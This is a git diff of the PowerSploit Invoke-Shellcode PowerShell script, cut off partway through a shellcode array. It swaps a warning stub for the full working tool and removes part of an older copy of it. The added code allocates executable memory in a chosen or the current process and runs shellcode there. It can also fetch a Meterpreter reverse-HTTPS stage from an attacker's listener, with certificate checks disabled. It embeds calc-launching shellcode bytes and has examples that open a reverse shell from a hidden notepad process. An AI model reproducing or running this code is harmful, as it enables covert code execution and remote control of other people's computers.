-        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
-        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
-        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
-        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
-        $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
-        $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
-        $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
-    
-        Write-Verbose "Injecting shellcode into PID: $ProcessId"
-        
-        if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
-                 "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
-        {
-            Inject-RemoteShellcode $ProcessId
-        }
-    }
-    else
-    {
-        # Inject shellcode into the currently running PowerShell process
-        $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
-        $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
-        $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
-        $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
-        $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
-        $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
-        $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
-        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
-        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
-        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
-        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
-        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
-        
-        Write-Verbose "Injecting shellcode into PowerShell"
-        
-        if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
-                 "Injecting shellcode into the running PowerShell process!" ) )
-        {
-            Inject-LocalShellcode
-        }
-    }   
-}
diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1
index 6ca6def..87e2e84 100644
--- a/CodeExecution/Invoke-Shellcode.ps1
+++ b/CodeExecution/Invoke-Shellcode.ps1
@@ -1,12 +1,155 @@
-# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1.

-# This was done to make a point that you have no security sense

-# if you think it's okay to blindly download/exec code directly

-# from a GitHub repo you don't control. This will undoubedtly break

-# many scripts that have this path hardcoded. If you don't like it,

-# fork PowerSploit and host it yourself.

-

 function Invoke-Shellcode

 {

+<#

+.SYNOPSIS

+

+Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.

+

+PowerSploit Function: Invoke-Shellcode

+Author: Matthew Graeber (@mattifestation)

+License: BSD 3-Clause

+Required Dependencies: None

+Optional Dependencies: None

+ 

+.DESCRIPTION

+

+Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre

+

+PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):

+

+msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- 

+

+Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.

+ 

+.PARAMETER ProcessID

+

+Process ID of the process you want to inject shellcode into.

+

+.PARAMETER Shellcode

+

+Specifies an optional shellcode passed in as a byte array

+

+.PARAMETER ListMetasploitPayloads

+

+Lists all of the available Metasploit payloads that Invoke-Shellcode supports

+

+.PARAMETER Lhost

+

+Specifies the IP address of the attack machine waiting to receive the reverse shell

+

+.PARAMETER Lport

+ 

+Specifies the port of the attack machine waiting to receive the reverse shell

+

+.PARAMETER Payload

+

+Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.

+

+.PARAMETER UserAgent

+

+Optionally specifies the user agent to use when using meterpreter http or https payloads

+

+.PARAMETER Proxy

+

+Optionally specifies whether to utilize the proxy settings on the machine.

+

+.PARAMETER Legacy

+

+Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. 

+

+.PARAMETER Force

+

+Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.

+

+.EXAMPLE

+

+C:\PS> Invoke-Shellcode -ProcessId 4274

+

+Description

+-----------

+Inject shellcode into process ID 4274.

+

+.EXAMPLE

+

+C:\PS> Invoke-Shellcode

+

+Description

+-----------

+Inject shellcode into the running instance of PowerShell.

+

+.EXAMPLE

+

+C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden

+C:\PS> $Proc = Get-Process notepad

+C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

+

+VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM

+VERBOSE: Injecting shellcode into PID: 4004

+VERBOSE: Injecting into a Wow64 process.

+VERBOSE: Using 32-bit shellcode.

+VERBOSE: Shellcode memory reserved at 0x03BE0000

+VERBOSE: Emitting 32-bit assembly call stub.

+VERBOSE: Thread call stub memory reserved at 0x001B0000

+VERBOSE: Shellcode injection complete!

+

+Description

+-----------

+Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:

+

+Payload options (windows/meterpreter/reverse_https):

+

+Name      Current Setting  Required  Description

+----      ---------------  --------  -----------

+EXITFUNC  thread           yes       Exit technique: seh, thread, process, none

+LHOST     192.168.30.129   yes       The local listener hostname

+LPORT     443              yes       The local listener port

+

+.EXAMPLE

+

+C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80

+

+Description

+-----------

+Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:

+

+Payload options (windows/meterpreter/reverse_http):

+

+Name      Current Setting  Required  Description

+----      ---------------  --------  -----------

+EXITFUNC  thread           yes       Exit technique: seh, thread, process, none

+LHOST     192.168.30.129   yes       The local listener hostname

+LPORT     80               yes       The local listener port

+

+.EXAMPLE

+

+C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)

+    

+Description

+-----------

+Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)

+Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!

+    

+.EXAMPLE

+

+C:\PS> Invoke-Shellcode -ListMetasploitPayloads

+    

+Payloads

+--------

+windows/meterpreter/reverse_http

+windows/meterpreter/reverse_https

+

+.NOTES

+

+Use the '-Verbose' option to print detailed information.

+

+Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter

+

+Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/

+

+.LINK

+

+http://www.exploit-monday.com

+#>

 

 [CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (

     [ValidateNotNullOrEmpty()]

@@ -44,11 +187,577 @@ function Invoke-Shellcode
     [Parameter( ParameterSetName = 'Metasploit' )]

     [ValidateNotNull()]

     [String]

-    $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',

+    $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',

+

+    [Parameter( ParameterSetName = 'Metasploit' )]

+    [ValidateNotNull()]

+    [Switch]

+    $Legacy = $False,

+

+    [Parameter( ParameterSetName = 'Metasploit' )]

+    [ValidateNotNull()]

+    [Switch]

+    $Proxy = $False,

     

     [Switch]

     $Force = $False

 )

 

-throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.'

+    Set-StrictMode -Version 2.0

+    

+    # List all available Metasploit payloads and exit the function

+    if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')

+    {

+        $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |

+            Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}

+    

+        foreach ($Payload in $AvailablePayloads.ValidValues)

+        {

+            New-Object PSObject -Property @{ Payloads = $Payload }

+        }

+        

+        Return

+    }

+

+    if ( $PSBoundParameters['ProcessID'] )

+    {

+        # Ensure a valid process ID was provided

+        # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive

+        Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null

+    }

+    

+    function Local:Get-DelegateType

+    {

+        Param

+        (

+            [OutputType([Type])]

+            

+            [Parameter( Position = 0)]

+            [Type[]]

+            $Parameters = (New-Object Type[](0)),

+            

+            [Parameter( Position = 1 )]

+            [Type]

+            $ReturnType = [Void]

+        )

+

+        $Domain = [AppDomain]::CurrentDomain

+        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')

+        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)

+        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

+        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

+        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)

+        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')

+        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)

+        $MethodBuilder.SetImplementationFlags('Runtime, Managed')

+        

+        Write-Output $TypeBuilder.CreateType()

+    }

+

+    function Local:Get-ProcAddress

+    {

+        Param

+        (

+            [OutputType([IntPtr])]

+        

+            [Parameter( Position = 0, Mandatory = $True )]

+            [String]

+            $Module,

+            

+            [Parameter( Position = 1, Mandatory = $True )]

+            [String]

+            $Procedure

+        )

+

+        # Get a reference to System.dll in the GAC

+        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |

+            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }

+        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')

+        # Get a reference to the GetModuleHandle and GetProcAddress methods

+        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')

+        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')

+        # Get a handle to the module specified

+        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))

+        $tmpPtr = New-Object IntPtr

+        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

+        

+        # Return the address of the function

+        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))

+    }

+

+    # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload

+    function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)

+    {

+        $IntSizePtr = $Architecture / 8

+

+        function Local:ConvertTo-LittleEndian ([IntPtr] $Address)

+        {

+            $LittleEndianByteArray = New-Object Byte[](0)

+            $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }

+            [System.Array]::Reverse($LittleEndianByteArray)

+            

+            Write-Output $LittleEndianByteArray

+        }

+        

+        $CallStub = New-Object Byte[](0)

+        

+        if ($IntSizePtr -eq 8)

+        {

+            [Byte[]] $CallStub = 0x48,0xB8                      # MOV   QWORD RAX, &shellcode

+            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode

+            $CallStub += 0xFF,0xD0                              # CALL  RAX

+            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0

+            $CallStub += 0x48,0xB8                              # MOV   QWORD RAX, &ExitThread

+            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread

+            $CallStub += 0xFF,0xD0                              # CALL  RAX

+        }

+        else

+        {

+            [Byte[]] $CallStub = 0xB8                           # MOV   DWORD EAX, &shellcode

+            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode

+            $CallStub += 0xFF,0xD0                              # CALL  EAX

+            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0

+            $CallStub += 0xB8                                   # MOV   DWORD EAX, &ExitThread

+            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread

+            $CallStub += 0xFF,0xD0                              # CALL  EAX

+        }

+        

+        Write-Output $CallStub

+    }

+

+    function Local:Inject-RemoteShellcode ([Int] $ProcessID)

+    {

+        # Open a handle to the process you want to inject into

+        $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)

+        

+        if (!$hProcess)

+        {

+            Throw "Unable to open a process handle for PID: $ProcessID"

+        }

+

+        $IsWow64 = $false

+

+        if ($64bitCPU) # Only perform theses checks if CPU is 64-bit

+        {

+            # Determine is the process specified is 32 or 64 bit

+            $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null

+            

+            if ((!$IsWow64) -and $PowerShell32bit)

+            {

+                Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'

+            }

+            elseif ($IsWow64) # 32-bit Wow64 process

+            {

+                if ($Shellcode32.Length -eq 0)

+                {

+                    Throw 'No shellcode was placed in the $Shellcode32 variable!'

+                }

+                

+                $Shellcode = $Shellcode32

+                Write-Verbose 'Injecting into a Wow64 process.'

+                Write-Verbose 'Using 32-bit shellcode.'

+            }

+            else # 64-bit process

+            {

+                if ($Shellcode64.Length -eq 0)

+                {

+                    Throw 'No shellcode was placed in the $Shellcode64 variable!'

+                }

+                

+                $Shellcode = $Shellcode64

+                Write-Verbose 'Using 64-bit shellcode.'

+            }

+        }

+        else # 32-bit CPU

+        {

+            if ($Shellcode32.Length -eq 0)

+            {

+                Throw 'No shellcode was placed in the $Shellcode32 variable!'

+            }

+            

+            $Shellcode = $Shellcode32

+            Write-Verbose 'Using 32-bit shellcode.'

+        }

+

+        # Reserve and commit enough memory in remote process to hold the shellcode

+        $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)

+        

+        if (!$RemoteMemAddr)

+        {

+            Throw "Unable to allocate shellcode memory in PID: $ProcessID"

+        }

+        

+        Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"

+

+        # Copy shellcode into the previously allocated memory

+        $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null

+

+        # Get address of ExitThread function

+        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

+

+        if ($IsWow64)

+        {

+            # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.

+            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32

+            

+            Write-Verbose 'Emitting 32-bit assembly call stub.'

+        }

+        else

+        {

+            # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.

+            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64

+            

+            Write-Verbose 'Emitting 64-bit assembly call stub.'

+        }

+

+        # Allocate inline assembly stub

+        $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)

+        

+        if (!$RemoteStubAddr)

+        {

+            Throw "Unable to allocate thread call stub memory in PID: $ProcessID"

+        }

+        

+        Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"

+

+        # Write 32-bit assembly stub to remote process memory space

+        $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null

+

+        # Execute shellcode as a remote thread

+        $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)

+        

+        if (!$ThreadHandle)

+        {

+            Throw "Unable to launch remote thread in PID: $ProcessID"

+        }

+

+        # Close process handle

+        $CloseHandle.Invoke($hProcess) | Out-Null

+

+        Write-Verbose 'Shellcode injection complete!'

+    }

+

+    function Local:Inject-LocalShellcode

+    {

+        if ($PowerShell32bit) {

+            if ($Shellcode32.Length -eq 0)

+            {

+                Throw 'No shellcode was placed in the $Shellcode32 variable!'

+                return

+            }

+            

+            $Shellcode = $Shellcode32

+            Write-Verbose 'Using 32-bit shellcode.'

+        }

+        else

+        {

+            if ($Shellcode64.Length -eq 0)

+            {

+                Throw 'No shellcode was placed in the $Shellcode64 variable!'

+                return

+            }

+            

+            $Shellcode = $Shellcode64

+            Write-Verbose 'Using 64-bit shellcode.'

+        }

+    

+        # Allocate RWX memory for the shellcode

+        $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)

+        if (!$BaseAddress)

+        {

+            Throw "Unable to allocate shellcode memory in PID: $ProcessID"

+        }

+        

+        Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"

+

+        # Copy shellcode to RWX buffer

+        [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)

+        

+        # Get address of ExitThread function

+        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

+        

+        if ($PowerShell32bit)

+        {

+            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32

+            

+            Write-Verbose 'Emitting 32-bit assembly call stub.'

+        }

+        else

+        {

+            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64

+            

+            Write-Verbose 'Emitting 64-bit assembly call stub.'

+        }

+

+        # Allocate RWX memory for the thread call stub

+        $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)

+        if (!$CallStubAddress)

+        {

+            Throw "Unable to allocate thread call stub."

+        }

+        

+        Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"

+

+        # Copy call stub to RWX buffer

+        [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)

+

+        # Launch shellcode in it's own thread

+        $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)

+        if (!$ThreadHandle)

+        {

+            Throw "Unable to launch thread."

+        }

+

+        # Wait for shellcode thread to terminate

+        $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null

+        

+        $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)

+        $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)

+

+        Write-Verbose 'Shellcode injection complete!'

+    }

+

+    # A valid pointer to IsWow64Process will be returned if CPU is 64-bit

+    $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process

+    if ($IsWow64ProcessAddr)

+    {

+    	$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])

+    	$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)

+        

+        $64bitCPU = $true

+    }

+    else

+    {

+    	$64bitCPU = $false

+    }

+

+    if ([IntPtr]::Size -eq 4)

+    {

+        $PowerShell32bit = $true

+    }

+    else

+    {

+        $PowerShell32bit = $false

+    }

+

+    if ($PsCmdlet.ParameterSetName -eq 'Metasploit')

+    {

+        if (!$PowerShell32bit) {

+            # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell

+            # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function

+

+            # Pull out just the content of the this script's invocation.

+            $RootInvocation = $MyInvocation.Line

+

+            $Response = $True

+        

+            if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",

+                   "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }

+        

+            if ( !$Response )

+            {

+                # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function

+                Return

+            }

+

+            # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.

+            if ($MyInvocation.BoundParameters['Force'])

+            {

+                Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"

+                $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"

+            }

+            else

+            {

+                Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"

+                $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"

+            }

+

+            $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)

+            $EncodedCommand = [Convert]::ToBase64String($CommandBytes)

+

+            $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"

+            Invoke-Expression -Command $Execute | Out-Null

+

+            # Exit the script since the shellcode will be running from x86 PowerShell

+            Return

+        }

+        

+        $Response = $True

+        

+        if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",

+               "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }

+        

+        if ( !$Response )

+        {

+            # User opted not to carry out download of Metasploit payload. Exit function

+            Return

+        }

+        

+        switch ($Payload)

+        {

+            'windows/meterpreter/reverse_http'

+            {

+                $SSL = ''

+            }

+            

+            'windows/meterpreter/reverse_https'

+            {

+                $SSL = 's'

+                # Accept invalid certificates

+                [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}

+            }

+        }

+        

+        if ($Legacy) 

+        {

+            # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0

+            $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"

+            Write-Verbose "Requesting meterpreter payload from $Request"

+        } else {

+

+            # Generate a URI that passes the test

+            $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}

+            $SumTest = $False

+

+            while ($SumTest -eq $False) 

+            {

+                $GeneratedUri = $CharArray | Get-Random -Count 4

+                $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)

+            }

+

+            $RequestUri = -join $GeneratedUri

+

+            $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" 

+        }

+           

+        $Uri = New-Object Uri($Request)

+        $WebClient = New-Object System.Net.WebClient

+        $WebClient.Headers.Add('user-agent', "$UserAgent")

+        

+        if ($Proxy)

+        {

+            $WebProxyObject = New-Object System.Net.WebProxy

+            $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer

+            

+            # if there is no proxy set, then continue without it

+            if ($ProxyAddress) 

+            {

+            

+                $WebProxyObject.Address = $ProxyAddress

+                $WebProxyObject.UseDefaultCredentials = $True

+                $WebClientObject.Proxy = $WebProxyObject

+            }

+        }

+

+        try

+        {

+            [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)

+        }

+        catch

+        {

+            Throw "$($Error[0].Exception.InnerException.InnerException.Message)"

+        }

+        [Byte[]] $Shellcode64 = $Shellcode32

+

+    }

+    elseif ($PSBoundParameters['Shellcode'])

+    {

+        # Users passing in shellcode  through the '-Shellcode' parameter are responsible for ensuring it targets

+        # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.

+        [Byte[]] $Shellcode32 = $Shellcode

+        [Byte[]] $Shellcode64 = $Shellcode32

+    }

+    else

+    {

+        # Pop a calc... or whatever shellcode you decide to place in here

+        # I sincerely hope you trust that this shellcode actually pops a calc...

+        # Insert your shellcode here in the for 0xXX,0xXX,...

+        # 32-bit payload

+        # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread

+        [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,

+                                  0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,

+                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,

+                                  0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,

+                                  0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,

+                                  0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,

+                                  0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,

+                                  0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,

+                                  0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,

+                                  0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,

+                                  0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,

+                                  0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,

+                                  0x61,0x6c,0x63,0x00)

+

+        # 64-bit payload

+        # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread

+        [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,

+                                  0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,

+                                  0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,

+                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,

+                                  0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,

+                                  0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,

+                                  0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,

+                                  0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,

+                                  0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,

+                                  0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,

+                                  0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,

+                                  0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,

+                                  0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,

